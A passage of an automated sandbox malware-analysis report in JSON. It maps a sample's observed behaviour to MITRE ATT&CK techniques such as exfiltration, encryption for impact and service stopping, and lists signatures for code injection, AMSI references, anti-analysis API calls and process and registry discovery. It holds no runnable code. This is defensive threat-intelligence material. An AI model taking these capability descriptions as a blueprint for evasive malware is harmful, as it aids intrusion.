in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"}],"sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"CreateThreadpool\" (Indicator: \"CreateThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolIo\" (Indicator: \"CreateThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007828.00000000.194994.03830000.00000004.mdmp, 00000000-00007828.00000001.196916.03830000.00000004.mdmp, 00000000-00007828.00000002.198834.03830000.00000004.mdmp, 00000000-00007828.00000003.199710.03830000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00007828.00000000.194994.03830000.00000004.mdmp\n 00000000-00007828.00000001.196916.03830000.00000004.mdmp\n 00000000-00007828.00000002.198834.03830000.00000004.mdmp\n 00000000-00007828.00000003.199710.03830000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007828.00000001.196916.081E0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00007828.00000002.198834.0A830000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$29","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp, 00000000-00007828.00000001.196916.081E0000.00000004.mdmp, 00000000-00007828.00000002.198834.0A830000.00000004.mdmp, 00000000-00007828.00000003.199710.00EF2000.00000002.mdmp\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00007828.00000002.198834.0A820000.00000004.mdmp, 00000000-00007828.00000003.199710.0A820000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp, 00000000-00007828.00000003.199710.6FA11000.00000020.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp, 00000000-00007828.00000003.199710.6FA11000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp, 00000000-00007828.00000001.196916.081E0000.00000004.mdmp, 00000000-00007828.00000002.198834.0A830000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"RSACryptoServiceProvider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp, 00000000-00007828.00000001.196916.081E0000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007828.00000002.198834.0A810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to retrieve key from a password using PBKDF1 algorithm","description":"Found reference to API \"PasswordDeriveBytes\" (Indicator: \"PasswordDeriveBytes\"; Source: \"00000000-00007828.00000002.198834.0A830000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-487","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2c","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2d","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"file/memory contains long string with (Indicator: \"github.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007828-00000C2C-2048090545\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007828-00000C2C-2050754136\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007828-00000C2C-2048090545\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007828-00000C2C-2050754136\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00007828-00000C2C-2050469378\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007828-00000C2C-2047489734\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007828-00000C2C-2047490236\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceStatus\" (Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found string \"QueryServiceConfigW\" (Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp, 00000000-00007828.00000002.198834.6FB05000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" HTTP/1.1 200 OK\nDate: Fri\n 03 Apr 2026 09:39:55 GMT\nContent-Type: text/plain\nContent-Length: 14\nConnection: keep-alive\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET\nset-cookie: __cf_bm=vexU5DXIfScuXXJqbyH9SW11rQkRo02rVsJ1iRjppZs-1775209195.1273122-1.0.1.1-dDYj43UQlF3_9_xSonWB.NBzz07iVc7FJH3k3Z.DcK3QhsJdqMlIPvgjzPxGHipIqV6h5I41Ms.vNL9c6HNySxXjvfVxFH_G.HCLGSzkSpOZJhEFCGMAoNdNO_pMb8i9; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Fri\n 03 Apr 2026 10:09:55 GMT\nServer: cloudflare\nCF-RAY: 9e671bdd8c65270c-SJC\nalt-svc: h3=\":443\"; ma=86400 with response body ==>36342E3132342E31322E3136320A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00006236.00000000.204767.02EE0000.00000004.mdmp, 00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found string \"System.Data.SqlClient\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00006236.00000000.204767.04D10000.00000004.mdmp\")\n Found string \"\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")\n Found string \"System.Data.SqlClient\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found registry query API: \"RegEnumValueW\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found registry query API: \"RegQueryInfoKeyW\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"\n Found registry query API: \"RegNotifyChangeKeyValue\" in \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve running process details (.NET)","description":"Found string \"get_ProcessName\" (Source: \"00000000-00007828.00000000.194994.058C0000.00000004.mdmp, 00000000-00007828.00000001.196916.081E0000.00000004.mdmp\")\n Found string \"GetProcessById\" (Source: \"00000000-00007828.00000002.198834.0A830000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-931","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00007828.00000000.194994.6FAA1000.00000002.mdmp\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; Source: \"00000000-00007828.00000002.198834.0A830000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69cf8a6f4234e3a856046153"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"